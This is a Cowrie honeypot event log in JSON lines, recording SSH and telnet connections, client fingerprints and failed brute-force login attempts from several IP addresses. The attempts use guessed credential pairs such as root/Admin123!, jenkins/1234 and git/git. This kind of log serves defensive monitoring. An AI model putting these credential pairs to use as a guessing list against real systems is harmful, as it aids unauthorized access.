{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:47.667541Z","src_ip":"45.156.87.147","session":"c5552a68d810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:48.751061Z","src_ip":"45.156.87.147","session":"c5552a68d810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:48.770702Z","src_ip":"91.92.42.227","session":"91cc1f3a26a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":59112,"dst_ip":"159.203.135.109","dst_port":22,"session":"932481dd5e0a","protocol":"ssh","message":"New connection: 103.252.123.105:59112 (159.203.135.109:22) [session: 932481dd5e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:50.745891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:50.749261Z","src_ip":"103.252.123.105","session":"932481dd5e0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:50.979520Z","src_ip":"103.252.123.105","session":"932481dd5e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48220,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8143fb40bda","protocol":"ssh","message":"New connection: 91.92.42.227:48220 (10.17.0.5:22) [session: c8143fb40bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:51.611839Z"}
{"eventid":"cowrie.login.failed","username":"sxy","password":"123456","message":"login attempt [sxy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:51.935891Z","src_ip":"103.252.123.105","session":"932481dd5e0a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:52.395293Z","src_ip":"91.92.42.227","session":"c8143fb40bda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:52.418219Z","src_ip":"91.92.42.227","session":"c8143fb40bda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:52.671206Z","src_ip":"8.219.200.1","session":"fccef6e3ff22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43170,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0941aa1cd53","protocol":"ssh","message":"New connection: 45.156.87.147:43170 (10.17.0.5:22) [session: f0941aa1cd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:52.900172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:52.902112Z","src_ip":"45.156.87.147","session":"f0941aa1cd53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:52.983629Z","src_ip":"45.156.87.147","session":"f0941aa1cd53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:53.169127Z","src_ip":"103.252.123.105","session":"932481dd5e0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:53.228897Z","src_ip":"45.156.87.147","session":"f0941aa1cd53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:54.311258Z","src_ip":"45.156.87.147","session":"f0941aa1cd53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:54.677867Z","src_ip":"91.92.42.227","session":"c8143fb40bda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:56.355722Z","src_ip":"91.92.42.227","session":"c8143fb40bda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45732,"dst_ip":"10.17.0.5","dst_port":22,"session":"16d1dcff9764","protocol":"ssh","message":"New connection: 91.92.42.227:45732 (10.17.0.5:22) [session: 16d1dcff9764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:58.202786Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43180,"dst_ip":"10.17.0.5","dst_port":22,"session":"82a15d1abcb0","protocol":"ssh","message":"New connection: 45.156.87.147:43180 (10.17.0.5:22) [session: 82a15d1abcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:58.578912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:58.581753Z","src_ip":"45.156.87.147","session":"82a15d1abcb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:58.666487Z","src_ip":"45.156.87.147","session":"82a15d1abcb0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:58.804652Z","src_ip":"91.92.42.227","session":"16d1dcff9764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:58.807495Z","src_ip":"91.92.42.227","session":"16d1dcff9764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:59.006856Z","src_ip":"45.156.87.147","session":"82a15d1abcb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:00.105181Z","src_ip":"45.156.87.147","session":"82a15d1abcb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:01.621106Z","src_ip":"91.92.42.227","session":"16d1dcff9764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.95931053161621,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:01.657183Z","src_ip":"128.199.8.54","session":"2e8759b41010","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:03.451323Z","src_ip":"91.92.42.227","session":"16d1dcff9764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41830,"dst_ip":"10.17.0.5","dst_port":22,"session":"69fec207c03a","protocol":"ssh","message":"New connection: 45.156.87.147:41830 (10.17.0.5:22) [session: 69fec207c03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:04.049934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:04.055289Z","src_ip":"45.156.87.147","session":"69fec207c03a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:04.137703Z","src_ip":"45.156.87.147","session":"69fec207c03a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:04.397343Z","src_ip":"45.156.87.147","session":"69fec207c03a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.73210620880127,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:04.613783Z","src_ip":"128.199.8.54","session":"4a0ce7ae03ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52454,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdc89da2756b","protocol":"ssh","message":"New connection: 91.92.42.227:52454 (10.17.0.5:22) [session: bdc89da2756b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:04.630087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:05.381489Z","src_ip":"91.92.42.227","session":"bdc89da2756b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:05.405522Z","src_ip":"91.92.42.227","session":"bdc89da2756b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:05.482639Z","src_ip":"45.156.87.147","session":"69fec207c03a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.555992126464844,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:07.893165Z","src_ip":"172.81.62.90","session":"d61737a40dd4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:09.370615Z","src_ip":"91.92.42.227","session":"bdc89da2756b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33912,"dst_ip":"10.17.0.5","dst_port":22,"session":"723c3474a121","protocol":"ssh","message":"New connection: 45.156.87.147:33912 (10.17.0.5:22) [session: 723c3474a121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:09.487109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:09.491156Z","src_ip":"45.156.87.147","session":"723c3474a121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:09.574108Z","src_ip":"45.156.87.147","session":"723c3474a121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:09.848510Z","src_ip":"45.156.87.147","session":"723c3474a121","protocol":"ssh"}
